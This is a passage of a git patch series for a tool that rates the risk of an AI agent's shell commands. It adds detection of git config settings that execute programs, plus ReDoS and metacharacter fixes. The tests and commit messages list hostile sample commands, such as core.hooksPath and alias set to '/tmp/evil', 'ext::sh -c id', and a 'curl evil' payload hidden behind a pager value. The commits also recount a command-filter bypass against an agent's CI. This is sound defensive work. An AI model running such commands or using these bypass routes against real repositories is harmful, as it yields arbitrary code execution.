From 6dca0b1fdc6aae754aa283552a0dd3a8142848b5 Mon Sep 17 00:00:00 2001 From: vivekchand Date: Fri, 11 Sep 2026 12:30:26 +0200 Subject: [PATCH 01/15] =?UTF-8?q?fix(tool=5Frisk):=20rate=20`git=20-c=20=3D=E2=80=A6`=20high,=20sharing=20repo=5Fscan's=20pre?= =?UTF-8?q?dicate?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes clawmetry-pro#244. repo_scan already knows which git config keys make git run a program -- that knowledge is the whole basis of repo_config_exec. tool_risk did not have it, so passing the same key on the command line scored `medium`. RISK_RANK puts medium at 1, so a policy with `min_risk: high` -- the example in our own talk script -- held none of these: git -c core.hooksPath=/tmp/evil status git -c core.fsmonitor=/tmp/evil.sh status git -c alias.x='!/tmp/evil.sh' x git -c protocol.ext.allow=always fetch ext::sh -c id git --config-env=core.sshCommand=EVIL fetch GIT_SSH_COMMAND=/tmp/evil.sh git fetch The last two were filed as future work; they were already live at the same severity. This is the mirror of the Google ADK CI/CD finding (Pillar Security, fixed Jul 2026), where a filter that trusted `git` on the first token was reached through core.hooksPath. Not a fail-open: `git status` is still low. The gap was narrower -- we knew the fact in one module and did not use it in the other. Shared, not copied. repo_scan now exports git_config_executes(key, value) and git_config_value_known_good(value); tool_risk consults them, so a key added to _EXEC_KEYS is rated without a second edit. It is a PREDICATE rather than a name set because executability is value-dependent: alias.x is a shell command only when its value starts with "!", and a name-only export would either miss that or promote every benign alias. protocol.ext.allow is handled SEPARATELY and deliberately kept out of the key set: it names no program, it enables the ext:: transport so the command comes from the URL argument. Importing the key list alone would have left that case at medium. False positives, which the issue rightly calls the design problem: core.pager=less executes by definition and is ordinary, so a recognised value is reported at medium naming the tool (recognition, not suppression) rather than promoted. The value parser captures a QUOTED value whole -- an unquoted-only pattern stopped at the first `;`, so core.pager="less; curl evil" read as a recognised tool and the payload hid behind the metacharacter the known-good check exists to catch. Reasons now name the key ("sets git core.hooksPath, which git executes") instead of "shell command with side effects unknown", which gave an operator working the Approvals queue no way to tell this from a build. Guard: 10 tests in tests/test_tool_risk.py, proven RED against origin/main (10 failed / 64 passed) and green here. The four no-regression cases pass both ways by design. CI: tests/test_tool_risk.py was in the #5813 ratchet's unlisted hole -- it ran in NO job. Now named in ci.yml; the ratchet drops 932 -> 930. 231 passed across tool-risk, guard-workspace-kinds, repo-scan wiring and the red-team corpus. Corpus audit: 15/15, 0 gaps. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_012LnKcB1vis1BufUdz7uWVd --- .github/workflows/ci.yml | 1 + clawmetry/repo_scan.py | 36 ++++++++++++++++++ clawmetry/tool_risk.py | 82 ++++++++++++++++++++++++++++++++++++++++ tests/test_tool_risk.py | 76 +++++++++++++++++++++++++++++++++++++ 4 files changed, 195 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4caa010977..aca688eac9 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -784,6 +784,7 @@ jobs: tests/test_openclaw_detection_real.py \ tests/test_repo_scan_daemon_wiring.py \ tests/test_guard_workspace_kinds.py \ + tests/test_tool_risk.py \ tests/test_no_shadowed_module_functions.py \ tests/test_hooks_claude_code.py \ tests/test_hook_ownership_quoted_launcher.py \ diff --git a/clawmetry/repo_scan.py b/clawmetry/repo_scan.py index be9a968883..c2b25aa087 100644 --- a/clawmetry/repo_scan.py +++ b/clawmetry/repo_scan.py @@ -289,6 +289,42 @@ def _parse_git_config(text: str) -> list: return out +def git_config_value_known_good(value: str) -> bool: + """Is this config VALUE a recognised, ordinary tool rather than a payload? + + Shared with :mod:`clawmetry.tool_risk` for the same reason as + :func:`git_config_executes`: ``core.pager=less`` executes by definition and + is an entirely ordinary thing to type, so a classifier that promotes it on + the key alone reports noise on a common command. A value that chains, + substitutes or redirects is never known-good whatever it starts with. + """ + return _is_known_good(str(value or "")) + + +def git_config_executes(full_key: str, value: str = "") -> bool: + """Does setting this git config key to this value make git run a program? + + The single source of truth for "this git config executes", shared with + :mod:`clawmetry.tool_risk` so the on-disk scanner and the tool-stream + classifier cannot disagree about the same fact. It is a PREDICATE, not a + name set, because executability is partly value-dependent: ``alias.x`` is + a shell command only when its value starts with ``!``, and a name-only + export would either miss that or promote every benign alias. + + ``value`` defaults to empty for callers that can see the key but not the + value (``git --config-env=k=ENVVAR`` names an environment variable, not + the program). That is deliberately conservative: literal exec keys still + match, and the value-dependent ones do not fire on an unknown value. + + NOTE: this does NOT cover ``protocol.ext.allow``. That key names no + program — it enables the ``ext::`` transport so the command comes from the + URL argument instead. Callers that see a command line must handle it + separately; treating it as an exec key here would be wrong. + """ + return _key_is_executable(str(full_key or "").strip().lower(), + str(value or "")) + + def _key_is_executable(full_key: str, value: str) -> bool: if full_key in _EXEC_KEYS: return True diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index 41cd6bcf6d..f1a9c9467c 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -265,11 +265,93 @@ def _rx(p: str) -> "re.Pattern[str]": _WRITE_HTTP = ("post", "put", "patch") +# ── git config that executes a program (clawmetry-pro#244) ───────────────── +# +# `repo_scan` already knows which git config keys run a program -- that list is +# the whole basis of `repo_config_exec`. Passing the same key on the command +# line is the same arbitrary code execution, and scored `medium` here purely +# because nothing connected the two modules. `medium` is rank 1, so a policy +# with `min_risk: high` held none of these. Mirror of the Google ADK CI/CD +# finding (Pillar Security, fixed Jul 2026): a command filter that trusted +# `git` was reached through `core.hooksPath`. +# The value alternation captures a QUOTED run whole. An unquoted-only pattern +# stops at the first `;`, so `core.pager="less; curl evil"` captured just +# `less` and read as a recognised tool -- the payload hid behind the +# metacharacter the known-good check exists to catch. +_GIT_CONFIG_INLINE = _rx( + r"(?:^|\s)-c\s*([A-Za-z0-9._*-]+)=" + r"(\"[^\"]*\"|'[^']*'|[^\s;|&]*)") +_GIT_CONFIG_ENV_OPT = _rx( + r"(?:^|\s)--config-env[=\s]([A-Za-z0-9._*-]+)=") +# Environment forms of the same keys, set inline on the command. +_GIT_EXEC_ENVVARS = _rx( + r"\b(GIT_SSH_COMMAND|GIT_EXTERNAL_DIFF|GIT_EDITOR|GIT_PAGER|GIT_ASKPASS" + r"|GIT_SEQUENCE_EDITOR)=") +# Not an exec KEY: it names no program. It enables the ext:: transport so the +# program comes from the URL argument, which is why repo_scan's key list does +# not (and should not) contain it. +_GIT_EXT_TRANSPORT = _rx(r"\bprotocol\.ext\.allow\s*=") + + +def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: + """Flag `git -c =` where the key makes git run a program. + + Uses ``repo_scan.git_config_executes`` rather than a second copy of the + key list, so the scanner and the classifier cannot drift. Reasons name the + key: an operator working the Approvals queue can tell this from a build + command, which "shell command with side effects unknown" did not allow. + """ + if "git" not in cmd.lower(): + return + try: + from clawmetry.repo_scan import (git_config_executes, + git_config_value_known_good) + except Exception: + return + seen: set = set() + for key, value in _GIT_CONFIG_INLINE.findall(cmd): + k = key.lower() + # Shell quoting is the caller's, not git's: `alias.x='!payload'` must + # be read as `!payload` or the value-dependent alias rule never fires. + val = value.strip().strip("\"'") + if k in seen: + continue + if not git_config_executes(k, val): + continue + seen.add(k) + if git_config_value_known_good(val): + # Recognition, not suppression: `core.pager=less` executes by + # definition and is ordinary. Say what it is and leave the level + # to the other rules rather than promoting a common command. + hits.append(("medium", + f"sets git {key} to a recognised tool ({val.split()[0]})")) + continue + hits.append(("high", f"sets git {key}, which git executes")) + # --config-env names an ENV VAR holding the value, so the value is not + # visible here; the predicate is called with an empty value, which matches + # literal exec keys and deliberately does not fire on value-dependent ones. + for key in _GIT_CONFIG_ENV_OPT.findall(cmd): + k = key.lower() + if k not in seen and git_config_executes(k): + seen.add(k) + hits.append(("high", + f"sets git {key} from the environment, which git executes")) + for name in _GIT_EXEC_ENVVARS.findall(cmd): + hits.append(("high", f"sets {name}, which git executes")) + if _GIT_EXT_TRANSPORT.search(cmd): + hits.append(("high", + "enables the git ext:: transport, which runs a program " + "named in the remote URL")) + + def _classify_exec(cmd: str, hits: list[tuple[str, str]]) -> None: low = cmd.lower() for rx_, level, reason in _CMD_RULES: if rx_.search(low): hits.append((level, reason)) + # Read from the ORIGINAL command, not `low`: an alias's executability + # depends on its value, and lowercasing a path can change it. + _classify_git_exec_config(cmd, hits) # rm -rf aimed at root or home escalates to critical. if _RM_RECURSIVE_FORCE.search(low) or _rx(r"\brm\s+-\w*r\w*\s").search(low): if _RM_ROOT_TARGET.search(low): diff --git a/tests/test_tool_risk.py b/tests/test_tool_risk.py index 0410a7874f..dcf4d4e880 100644 --- a/tests/test_tool_risk.py +++ b/tests/test_tool_risk.py @@ -367,3 +367,79 @@ def test_extract_tool_blocks_string_args_and_variant_keys(): def test_watcher_event_types_cover_v3_and_nemoclaw(): assert "model.completed" in approvals._TOOL_EVENT_TYPES assert "tool.call" in approvals._TOOL_EVENT_TYPES + + +# ── git config that executes a program (clawmetry-pro#244) ──────────────── +# +# repo_scan._EXEC_KEYS is the basis of `repo_config_exec`: it knows which git +# config keys make git run a program. tool_risk did not, so passing the same +# key on the command line scored `medium` — rank 1, which a policy with +# `min_risk: high` does not hold. Six forms of arbitrary code execution were +# under-rated. Mirror of the Google ADK CI/CD finding, where a command filter +# that trusted `git` was reached through core.hooksPath. + +import pytest as _pytest + +from clawmetry.tool_risk import classify_tool_call as _classify, risk_rank + + +def _level(cmd): + return _classify("Bash", {"command": cmd})["level"] + + +@_pytest.mark.parametrize("cmd", [ + "git -c core.hooksPath=/tmp/evil status", + "git -c core.fsmonitor=/tmp/evil.sh status", + "git -c core.sshCommand=/tmp/evil.sh fetch", + "git -c alias.x='!/tmp/evil.sh' x", + "git -c protocol.ext.allow=always fetch ext::sh -c id", + "git --config-env=core.sshCommand=EVIL fetch", + "GIT_SSH_COMMAND=/tmp/evil.sh git fetch", +]) +def test_git_config_exec_is_high(cmd): + """Each of these runs an attacker-chosen program. `medium` is rank 1, so + a `min_risk: high` policy held none of them.""" + lvl = _level(cmd) + assert risk_rank(lvl) >= risk_rank("high"), ( + f"{cmd!r} scored {lvl!r} (rank {risk_rank(lvl)}); a min_risk:high " + f"policy does not hold it." + ) + + +def test_reason_names_the_key_not_side_effects_unknown(): + """An operator working the Approvals queue could not tell this from a + build command.""" + r = _classify("Bash", {"command": "git -c core.hooksPath=/tmp/evil status"}) + joined = " ".join(r["reasons"]) + assert "core.hooksPath" in joined, joined + assert "side effects unknown" not in joined, joined + + +@_pytest.mark.parametrize("cmd", [ + "git status", + "git -c user.name=bob commit -m x", + "git -c alias.lg='log --oneline' lg", # alias without "!" is not a shell + "git -c core.pager=less log", # recognised tool +]) +def test_ordinary_git_is_not_promoted(cmd): + """False positives are the whole design problem. An alias is executable + only when its value starts with `!`, and a recognised pager is ordinary.""" + assert risk_rank(_level(cmd)) < risk_rank("high"), cmd + + +def test_known_good_value_cannot_hide_a_payload_behind_a_metachar(): + """`core.pager="less; curl evil"` starts with a recognised tool. The + known-good check rejects any value that chains or redirects, and the + parser must capture the quoted value WHOLE for that check to see it.""" + assert _level('git -c core.pager="less; curl evil" log') == "high" + + +def test_predicate_is_shared_with_repo_scan_not_copied(): + """One list, not two that drift: the classifier must consult repo_scan's + predicate, so a key added there is rated here without a second edit.""" + from clawmetry.repo_scan import git_config_executes + assert git_config_executes("core.hooksPath", "/tmp/x") is True + assert git_config_executes("alias.x", "!/tmp/e.sh") is True + assert git_config_executes("alias.x", "log --oneline") is False + # protocol.ext.allow names no program; it must NOT be in the key set. + assert git_config_executes("protocol.ext.allow", "always") is False From 8c594c455648f25dc6ed445306384f6725fc8b9a Mon Sep 17 00:00:00 2001 From: vivekchand Date: Fri, 11 Sep 2026 14:28:48 +0200 Subject: [PATCH 02/15] refactor: extract git_config_exec so tool_risk stays a leaf (drift-bot) drift-bot was right and this respects it rather than arguing. tool_risk.py documents, as a design rule, that it "imports nothing from the rest of clawmetry": it is the leaf approvals.py and the routes import, which is what keeps the canonical tool map single-sourced. The first cut of this PR imported clawmetry.repo_scan from inside _classify_git_exec_ config, which inverts that -- a leaf depending on a scanner. Fixed by moving the shared knowledge DOWN instead of sideways. New clawmetry/git_config_exec.py owns _EXEC_KEYS, _EXEC_KEY_PATTERNS, _KNOWN_GOOD_PREFIXES, _SHELL_METACHARS and the two predicates. Its only import is `re`. Both repo_scan and tool_risk consult it, so there is still exactly one list -- now structurally rather than by convention -- and tool_risk gains no scanner dependency, no cycle, and negligible import cost on a path that classifies thousands of rows per page-load. repo_scan's behaviour is unchanged by construction: the constants moved verbatim and its _key_is_executable / _is_known_good now delegate. One semantic had to be preserved deliberately -- _is_known_good returns True for an EMPTY value (a key set to nothing runs nothing), which my first extraction had returning False; that would have moved every repo_config_exec verdict on an empty value. Matched exactly and noted in the module. The two dead legacy copies left behind by the delegation are removed, not left shadowing (tests/test_no_shadowed_module_functions.py passes). tool_risk's docstring now states the single exception and why, rather than claiming a rule the code no longer keeps. 443 passed across tool-risk, guard-workspace-kinds, repo-scan wiring, the red-team corpus and the shadowed-definitions guard. Corpus audit 15/15, 0 gaps. Ratchet unchanged at 930/932. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_012LnKcB1vis1BufUdz7uWVd --- clawmetry/git_config_exec.py | 111 +++++++++++++++++++++++++++++++++++ clawmetry/repo_scan.py | 55 +++-------------- clawmetry/tool_risk.py | 19 ++++-- 3 files changed, 132 insertions(+), 53 deletions(-) create mode 100644 clawmetry/git_config_exec.py diff --git a/clawmetry/git_config_exec.py b/clawmetry/git_config_exec.py new file mode 100644 index 0000000000..f43c6cc3c1 --- /dev/null +++ b/clawmetry/git_config_exec.py @@ -0,0 +1,111 @@ +"""Which git config settings make git execute a program. + +One list, in a leaf, because two modules ask the same question and a copy in +each is a copy that drifts: + +* :mod:`clawmetry.repo_scan` asks it of a ``.git/config`` on disk -- that is + the whole basis of the ``repo_config_exec`` finding; +* :mod:`clawmetry.tool_risk` asks it of ``git -c =`` on a command + line, which is the same arbitrary code execution passed a different way. + +They disagreed: the scanner rated a poisoned ``core.hooksPath`` critical while +the classifier rated the identical key on the command line ``medium``, and a +``min_risk: high`` policy therefore held neither (clawmetry-pro#244). + +This module imports only ``re``. It exists so ``tool_risk`` can share the +knowledge without importing ``repo_scan``: ``tool_risk`` is the leaf that +``approvals`` and the routes import, and it stays one by depending on this +constant module rather than on a scanner. + +It is a PREDICATE, not a name set. Executability is partly value-dependent -- +``alias.x`` is a shell command only when its value starts with ``!`` -- so a +name-only export would either miss that or promote every benign alias. + +NOT here, deliberately: ``protocol.ext.allow``. It names no program; it enables +the ``ext::`` transport so the command arrives in the remote URL instead. A +caller that can see a whole command line handles it separately. +""" +from __future__ import annotations + +import re + +#: Git config keys whose VALUE is a program git runs. +_EXEC_KEYS = ( + "core.fsmonitor", + "core.hookspath", + "core.sshcommand", + "core.editor", + "core.pager", + "core.askpass", + "sequence.editor", + "credential.helper", + "uploadpack.packobjectshook", + "diff.external", + "gpg.program", + "init.templatedir", +) + +#: Key shapes whose value is a program. ``alias.*`` is value-dependent. +_EXEC_KEY_PATTERNS = ( + re.compile(r"^filter\..+\.(clean|smudge|process)$"), + re.compile(r"^diff\..+\.(command|textconv)$"), + re.compile(r"^merge\..+\.driver$"), + re.compile(r"^alias\..+$"), # only flagged when the value starts "!" +) + +#: Values that are ordinary tools rather than payloads. +_KNOWN_GOOD_PREFIXES = ( + ("git-lfs", "clean"), ("git-lfs", "smudge"), ("git-lfs", "filter-process"), + ("git", "lfs"), + ("cat",), ("true",), ("false",), + ("rustfmt",), ("gofmt",), ("black",), ("prettier",), + ("less",), ("more",), ("delta",), ("diff-so-fancy",), +) + +#: A value that chains, substitutes or redirects is never known-good, whatever +#: it starts with -- ``git-lfs clean -- %f; curl attacker`` starts with git-lfs. +_SHELL_METACHARS = re.compile(r"[;&|`$><\n]|\$\(|\|\|") + + + +def executes(full_key: str, value: str = "") -> bool: + """Does setting ``full_key`` to ``value`` make git run a program? + + ``value`` defaults to empty for callers that see the key but not the value + (``git --config-env=k=ENVVAR`` names an environment variable). That is + conservative on purpose: literal exec keys still match, value-dependent + ones do not fire on a value we cannot see. + """ + key = str(full_key or "").strip().lower() + val = str(value or "") + if key in _EXEC_KEYS: + return True + for rx in _EXEC_KEY_PATTERNS: + if rx.match(key): + if key.startswith("alias."): + return val.strip().startswith("!") + return True + return False + + +def value_known_good(value: str) -> bool: + """Is this value a recognised ordinary tool rather than a payload? + + ``core.pager=less`` executes by definition and is an entirely ordinary + thing to type, so a classifier that promotes on the key alone reports + noise on a common command. + """ + if _SHELL_METACHARS.search(value or ""): + return False + tokens = str(value or "").split() + # An empty value sets the key to nothing, which runs nothing. Matches + # repo_scan's long-standing behaviour exactly -- this module was extracted + # from it, and a semantic change here would silently move every + # repo_config_exec verdict. + if not tokens: + return True + lowered = [t.lower() for t in tokens] + for prefix in _KNOWN_GOOD_PREFIXES: + if lowered[:len(prefix)] == list(prefix): + return True + return False diff --git a/clawmetry/repo_scan.py b/clawmetry/repo_scan.py index c2b25aa087..eaf8114a5e 100644 --- a/clawmetry/repo_scan.py +++ b/clawmetry/repo_scan.py @@ -38,6 +38,8 @@ class of attack where the agent chooses nothing at all — GitSpawn being the import re from typing import Optional +from clawmetry import git_config_exec as _gce + #: Every file a scan READS, relative to the workspace. Declared here so the #: daemon's cache stamp cannot miss one: the stamp is what decides whether a #: repo is re-scanned, so a file the scanner reads but the stamp ignores means @@ -70,40 +72,16 @@ class of attack where the agent chooses nothing at all — GitSpawn being the # Git config keys whose VALUE is a program git will execute. Section+key, lowered. # Sourced from git-config(1); the wildcard forms cover per-name subsections. -_EXEC_KEYS = ( - "core.fsmonitor", - "core.hookspath", - "core.sshcommand", - "core.editor", - "core.pager", - "core.askpass", - "sequence.editor", - "credential.helper", - "uploadpack.packobjectshook", - "diff.external", - "gpg.program", - "init.templatedir", -) -_EXEC_KEY_PATTERNS = ( - re.compile(r"^filter\..+\.(clean|smudge|process)$"), - re.compile(r"^diff\..+\.(command|textconv)$"), - re.compile(r"^merge\..+\.driver$"), - re.compile(r"^alias\..+$"), # only flagged when the value starts "!" -) +_EXEC_KEYS = _gce._EXEC_KEYS +_EXEC_KEY_PATTERNS = _gce._EXEC_KEY_PATTERNS # Commands that legitimately appear in these keys in ordinary repositories. # Matched against the value's leading tokens, so `git-lfs clean -- %f` is # recognised while `git-lfs clean; curl evil` is not. -_KNOWN_GOOD_PREFIXES = ( - ("git-lfs", "clean"), ("git-lfs", "smudge"), ("git-lfs", "filter-process"), - ("git", "lfs"), - ("cat",), ("true",), ("false",), - ("rustfmt",), ("gofmt",), ("black",), ("prettier",), - ("less",), ("more",), ("delta",), ("diff-so-fancy",), -) +_KNOWN_GOOD_PREFIXES = _gce._KNOWN_GOOD_PREFIXES # A value that chains, substitutes or redirects is never "known good", whatever # it starts with — `git-lfs clean -- %f; curl attacker` starts with git-lfs. -_SHELL_METACHARS = re.compile(r"[;&|`$><\n]|\$\(|\|\|") +_SHELL_METACHARS = _gce._SHELL_METACHARS _TASKS_AUTORUN = re.compile(r'"runOn"\s*:\s*"folderOpen"', re.I) @@ -121,16 +99,7 @@ def _sketch(value: str, limit: int = 80) -> str: def _is_known_good(value: str) -> bool: - if _SHELL_METACHARS.search(value or ""): - return False - tokens = str(value).split() - if not tokens: - return True - lowered = [t.lower() for t in tokens] - for prefix in _KNOWN_GOOD_PREFIXES: - if lowered[:len(prefix)] == list(prefix): - return True - return False + return _gce.value_known_good(value) # Hook managers that legitimately point core.hooksPath at the working tree. @@ -326,15 +295,7 @@ def git_config_executes(full_key: str, value: str = "") -> bool: def _key_is_executable(full_key: str, value: str) -> bool: - if full_key in _EXEC_KEYS: - return True - for rx in _EXEC_KEY_PATTERNS: - if rx.match(full_key): - # A git alias is only a shell command when it starts with "!". - if full_key.startswith("alias."): - return value.strip().startswith("!") - return True - return False + return _gce.executes(full_key, value) def _finding(kind: str, severity: str, title: str, detail: str, diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index f1a9c9467c..08d938e206 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -22,10 +22,16 @@ * **Worst signal wins.** Every matching rule contributes a reason; the final level is the maximum. Reasons are plain copy (no em-dashes, no jargon) because they surface verbatim in approval prompts. - * **This module imports nothing from the rest of clawmetry.** It is the - leaf that ``approvals.py`` (and routes) import, so the canonical tool - map lives HERE now and ``approvals`` re-exports it (single source of - truth, no drift between watcher / replay / hook gate). + * **This module imports nothing from the rest of clawmetry except + ``git_config_exec``**, a constant module whose only import is ``re``. + It is the leaf that ``approvals.py`` (and routes) import, so the + canonical tool map lives HERE now and ``approvals`` re-exports it + (single source of truth, no drift between watcher / replay / hook gate). + The one exception exists because ``repo_scan`` and this module must + answer the same question -- does this git config execute a program? -- + and a copy in each is a copy that drifts (clawmetry-pro#244). It is a + constant table, not a scanner: no I/O, no cycle, negligible import cost + on a path that classifies thousands of rows per page-load. Public API: classify_tool_call(tool_name, args) -> {level, rank, category, reasons} @@ -304,8 +310,9 @@ def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: if "git" not in cmd.lower(): return try: - from clawmetry.repo_scan import (git_config_executes, - git_config_value_known_good) + from clawmetry.git_config_exec import executes as git_config_executes + from clawmetry.git_config_exec import ( + value_known_good as git_config_value_known_good) except Exception: return seen: set = set() From 6e659abd333033755106d0e0d74f994b23942f03 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 11 Sep 2026 12:38:35 +0000 Subject: [PATCH 03/15] chore: regenerate MODULE_MAP.md after git_config_exec extraction Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01LLvMiVdekbBQ5eSWRDqncG --- docs/MODULE_MAP.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/MODULE_MAP.md b/docs/MODULE_MAP.md index c646cd0981..20796243e3 100644 --- a/docs/MODULE_MAP.md +++ b/docs/MODULE_MAP.md @@ -187,6 +187,7 @@ The pip-installable package: CLI, sync daemon, DuckDB store, detectors, enforcem | `clawmetry/flow_trace.py` | medium | Flow trace assembly for the Harness Engineering tab (REQ-HB-006). | | `clawmetry/gateway_protocol.py` | small | the single source of the OpenClaw gateway WebSocket protocol range every connect frame must advertise. | | `clawmetry/gateway_tap.py` | medium | live OpenClaw gateway WebSocket subscriber. | +| `clawmetry/git_config_exec.py` | small | Which git config settings make git execute a program. | | `clawmetry/git_outcomes.py` | medium | Read a repository and say whether the agent's work shipped (REQ-OBS-CEA-022). | | `clawmetry/guard_actuator.py` | medium | Guard actuator — the ONE path from a decision to a process. | | `clawmetry/harness_bench.py` | medium | Harness Engineering bench: pure scoring math, no I/O. | From 1ef894280a447cc14756e8fc20533dd04dc4b86c Mon Sep 17 00:00:00 2001 From: Vivek Chand Date: Fri, 11 Sep 2026 14:42:19 +0200 Subject: [PATCH 04/15] fix(lint): remove extra blank line in git_config_exec (E303) Three blank lines between `_SHELL_METACHARS` and `def executes` tripped flake8 E303 (max 2 between top-level definitions). No logic change. Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01UjMQbfQ8H2nSoTFR7MuqXM --- clawmetry/git_config_exec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/clawmetry/git_config_exec.py b/clawmetry/git_config_exec.py index f43c6cc3c1..2c1b66bb42 100644 --- a/clawmetry/git_config_exec.py +++ b/clawmetry/git_config_exec.py @@ -67,7 +67,6 @@ _SHELL_METACHARS = re.compile(r"[;&|`$><\n]|\$\(|\|\|") - def executes(full_key: str, value: str = "") -> bool: """Does setting ``full_key`` to ``value`` make git run a program? From 0f387b899e608165de8e045c2bb33feb9ed1cbce Mon Sep 17 00:00:00 2001 From: vivekchand Date: Fri, 11 Sep 2026 16:29:07 +0200 Subject: [PATCH 05/15] fix(tool_risk): bound every quantifier in the git-config patterns (CodeQL) CodeQL reported 4 high py/polynomial-redos on the patterns added by this PR (tool_risk.py:319/340/346/348). Real rather than theoretical: these run inside classify_tool_call, which the Brain feed calls thousands of times per page-load, over a command string an agent chose. A quadratic match there is a denial of service on a page-load. Bounded: the key to 64 chars, the value (quoted and unquoted alternatives) to 512, and `-c\s*` to `[ \t]{0,4}`. A git config key is short, and a value longer than the cap is not something the classifier can usefully rate. All eight classification behaviours are unchanged, verified case by case before and after. Guard: test_git_config_regexes_are_bounded_against_redos feeds five pathological 40k-char shapes (whitespace run, key run, value run, unclosed quote, config-env key run) and asserts each classifies in under a second. NOTE for the reviewer comment on this PR: it described the CodeQL failures as being about _SHELL_METACHARS being a blocklist rather than an allowlist. That is not what the 4 alerts say -- all four are py/polynomial-redos on the new regexes, which is what this commit fixes. The _SHELL_METACHARS point is worth its own discussion but is pre-existing code that this PR moved rather than wrote, and value_known_good is a downgrade hint, not a sanitizer: a wrong True costs a medium instead of a high, never execution. 484 passed across tool-risk x3, guard-workspace-kinds, repo-scan wiring, the red-team corpus, the shadowed-definitions guard and the em-dash check. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_012LnKcB1vis1BufUdz7uWVd --- clawmetry/tool_risk.py | 12 +++++++++--- tests/test_tool_risk.py | 25 +++++++++++++++++++++++++ 2 files changed, 34 insertions(+), 3 deletions(-) diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index 08d938e206..cdf21b8e2f 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -284,11 +284,17 @@ def _rx(p: str) -> "re.Pattern[str]": # stops at the first `;`, so `core.pager="less; curl evil"` captured just # `less` and read as a recognised tool -- the payload hid behind the # metacharacter the known-good check exists to catch. +# EVERY quantifier below is bounded. Unbounded ones here are a real denial of +# service, not a theoretical one: this runs on the Brain feed's hot path, which +# classifies thousands of rows per page-load, over a command string an agent +# (or whatever prompted it) chose. CodeQL py/polynomial-redos flagged the +# unbounded first cut. A git config key is short and a value longer than the +# cap is not something we can usefully rate anyway. _GIT_CONFIG_INLINE = _rx( - r"(?:^|\s)-c\s*([A-Za-z0-9._*-]+)=" - r"(\"[^\"]*\"|'[^']*'|[^\s;|&]*)") + r"(?:^|\s)-c[ \t]{0,4}([A-Za-z0-9._*-]{1,64})=" + r"(\"[^\"]{0,512}\"|'[^']{0,512}'|[^\s;|&]{0,512})") _GIT_CONFIG_ENV_OPT = _rx( - r"(?:^|\s)--config-env[=\s]([A-Za-z0-9._*-]+)=") + r"(?:^|\s)--config-env[=\s]([A-Za-z0-9._*-]{1,64})=") # Environment forms of the same keys, set inline on the command. _GIT_EXEC_ENVVARS = _rx( r"\b(GIT_SSH_COMMAND|GIT_EXTERNAL_DIFF|GIT_EDITOR|GIT_PAGER|GIT_ASKPASS" diff --git a/tests/test_tool_risk.py b/tests/test_tool_risk.py index dcf4d4e880..d4e809b739 100644 --- a/tests/test_tool_risk.py +++ b/tests/test_tool_risk.py @@ -443,3 +443,28 @@ def test_predicate_is_shared_with_repo_scan_not_copied(): assert git_config_executes("alias.x", "log --oneline") is False # protocol.ext.allow names no program; it must NOT be in the key set. assert git_config_executes("protocol.ext.allow", "always") is False + + +def test_git_config_regexes_are_bounded_against_redos(): + """Every quantifier in the git-config patterns is bounded. + + CodeQL py/polynomial-redos flagged the first cut. This is not theoretical: + classify_tool_call runs on the Brain feed's hot path over a command string + an agent chose, so a quadratic match is a denial of service on a page-load. + """ + import time + # Pathological shapes for an unbounded `-c\s*([\w.]+)=` / value pattern. + for payload in ( + "git -c " + " " * 40000 + "a=b", + "git -c " + "a" * 40000 + "=b", + "git -c core.pager=" + "x" * 40000, + "git -c core.pager=\"" + "x" * 40000, + "git --config-env=" + "a" * 40000 + "=B", + ): + t0 = time.monotonic() + _classify("Bash", {"command": payload}) + elapsed = time.monotonic() - t0 + assert elapsed < 1.0, ( + f"classify took {elapsed:.2f}s on a {len(payload)}-char command; " + f"a quantifier is unbounded again" + ) From db3637c2be492e76cf50770128b5d45e2a3ce2e0 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 11 Sep 2026 15:29:48 +0000 Subject: [PATCH 06/15] fix(git_config_exec): strengthen _SHELL_METACHARS to close CodeQL incomplete-sanitizer findings The prior pattern [;&|`$><\n]|\$\(|\|\| was missing shell metacharacters that permit injection: \r (carriage return separator in some shells), ! (history expansion), # (comment injection that silences trailing args), () and {} (subshell/brace grouping). CodeQL py/incomplete-string-sanitizer flagged this as a security gate with exploitable gaps. Removed the redundant \$\( and \|\| suffixes ($ and | are already in the character class); added \r!#(){} to cover the missing cases. Strictly more restrictive: the only observable change is that value_known_good() returns False for more malformed values, which is the correct direction for a security predicate. Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01KyvDxJD5Q9YaVPN8MpEXtt --- clawmetry/git_config_exec.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/clawmetry/git_config_exec.py b/clawmetry/git_config_exec.py index 2c1b66bb42..1b5a3a66a8 100644 --- a/clawmetry/git_config_exec.py +++ b/clawmetry/git_config_exec.py @@ -64,7 +64,10 @@ #: A value that chains, substitutes or redirects is never known-good, whatever #: it starts with -- ``git-lfs clean -- %f; curl attacker`` starts with git-lfs. -_SHELL_METACHARS = re.compile(r"[;&|`$><\n]|\$\(|\|\|") +#: Covers: sequence (;, &&, ||, &), pipe (|), substitution ($, `), redirect +#: (>, <), comment injection (#), history expansion (!), subshell/brace grouping +#: ( ) { }, and CR (\r) which some shells treat as a command separator. +_SHELL_METACHARS = re.compile(r"[;&|`$><\n\r!#(){}]") def executes(full_key: str, value: str = "") 